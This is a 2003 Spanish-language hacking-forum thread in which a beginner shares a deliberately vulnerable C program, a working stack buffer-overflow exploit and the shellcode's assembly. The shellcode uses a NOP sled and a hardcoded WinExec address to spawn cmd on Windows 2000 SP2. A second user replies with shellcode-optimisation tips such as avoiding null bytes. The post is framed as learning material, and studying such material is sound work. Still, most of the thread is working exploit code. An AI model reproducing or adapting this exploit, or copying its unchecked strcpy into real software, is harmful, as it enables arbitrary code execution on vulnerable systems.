elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
14 Febrero 2012, 02:12  


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Mis primeros pasos :)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Mis primeros pasos :)  (Leído 815 veces)
byebye


Desconectado Desconectado

Mensajes: 5.094



Ver Perfil
Mis primeros pasos :)
« en: 16 Diciembre 2003, 17:49 »

Bueno puesto que anoche logre hacer mi primer llamemosle "exploit", pongo el codigo fuente del programa vulnerable + el que explota el fallo + la shellcode, creo que por lo simples que son le puede servir a alguno que este empezando tb. y si hay algun fallo ponerlo tb para que todos aprendamos.

Programa vulnerable:
Código:
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
  char buffer[85];
  system("pause");
  strcpy(buffer,argv[1]);   
  return 0;
}

Programa que explota el fallo:
Código:
#include <stdio.h>
#include <windows.h>

int main()
{
  char s[]={
            0x6a,0x63,
            0xc6,0x44,0x24,0x01,0x6d,
            0xc6,0x44,0x24,0x02,0x64,
            0x8b,0xc4,
            0xbf,0xaf,0xa7,0xe9,0x77, // mov edi,77E9A7AF WinExec
            0x6a,0x01,
            0x50,
            0xff,0xd7,0x90,  // nops
            0x90,0x90,0x90,0x90,0x90,0x90,
            0x90,0x90,0x90,0x90,0x90,0x90,0x90,
            0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
            0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
            0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
            0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
            0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
            0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
            0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
            0x08,0xFF,0x22,0x22,0x22,0x00}; //ret
               
  char s2[122]="vuln.exe "; //nombre del programa vulnerable

  memcpy(&s2[9],s,114);   //copiar shellcode al buffer
  printf("\nEl buffer es: %s\n",s2);
  WinExec(s2,1);   
  return 0;
}

Codigo:
Código:
      push 63h
       mov byte ptr [esp+1],6dh
       mov byte ptr [esp+2],64h  
       mov eax,esp                      
       mov edi,77E9A7AFh    ; WinExec      
       push 1                              
       push eax                          
       call edi                              

Pos eso ahi lo dejo, funciona en w2k sp2 y ejecuta cmd.

PD: y gracias a rojodos por aguantar todas mis preguntas jejejeje, que soy muuuu pesao ;). que en este finde con unos ratos que hemos estado hablando he solucionado algunos conflictos que tenia yo en la cabeza :).
« Última modificación: 16 Diciembre 2003, 18:17 por Mr.Potato » En línea
Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.535



Ver Perfil WWW
Re:Mis primeros pasos :)
« Respuesta #1 en: 16 Diciembre 2003, 23:36 »

Pecha NOPS  xDDD:

Citar
0x90,0x90,0x90,0x90,0x90,0x90,
            0x90,0x90,0x90,0x90,0x90,0x90,0x90,
            0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
            0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
            0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
            0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
            0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
            0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
            0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,


Varias cosillas.... :)

- Los push NULLs ya te dije como solucionarlos:

Código:
xor esi,esi   --> puede ser cualkier registro
push esi

-  Optimizando un poco:

Código:
mov edi,77E9A7AFh    ; WinExec      
....
call edi

Mejor no seria directamente:

Código:
call 77E9A7Afh

Al final, claro, cuando ya esten sus argumentos pusheados en la pila.

Te ahoras usar el registro edi (que a lo mejor en una scode mas compleja te hace falta), y en general, una instruccion y unos cuantos bytes :)

Salu2

En línea

byebye


Desconectado Desconectado

Mensajes: 5.094



Ver Perfil
Re:Mis primeros pasos :)
« Respuesta #2 en: 17 Diciembre 2003, 05:54 »

iap el problema es que si llamo directamente a la direccion no me compilaba.
En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
primeros pasos diccionarios, como...............?
Wireless en Linux
titan711 4 556 Último mensaje 2 Enero 2011, 17:07
por titan711
Mis primeros pasos en la programación.
Programación General
Raikuzu 13 2,103 Último mensaje 6 Mayo 2011, 22:45
por linux1
Mis primeros pasos en scripting!
Scripting
TwisteD420 8 1,011 Último mensaje 7 Julio 2011, 20:26
por WaAYa HaCK
El sistema de intercambios de Steam da sus primeros pasos
Noticias
el-brujo 0 543 Último mensaje 12 Agosto 2011, 17:29
por el-brujo
Buscando mis primeros pasos
Seguridad
hirulelink 6 565 Último mensaje 18 Octubre 2011, 15:14
por Uxio
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines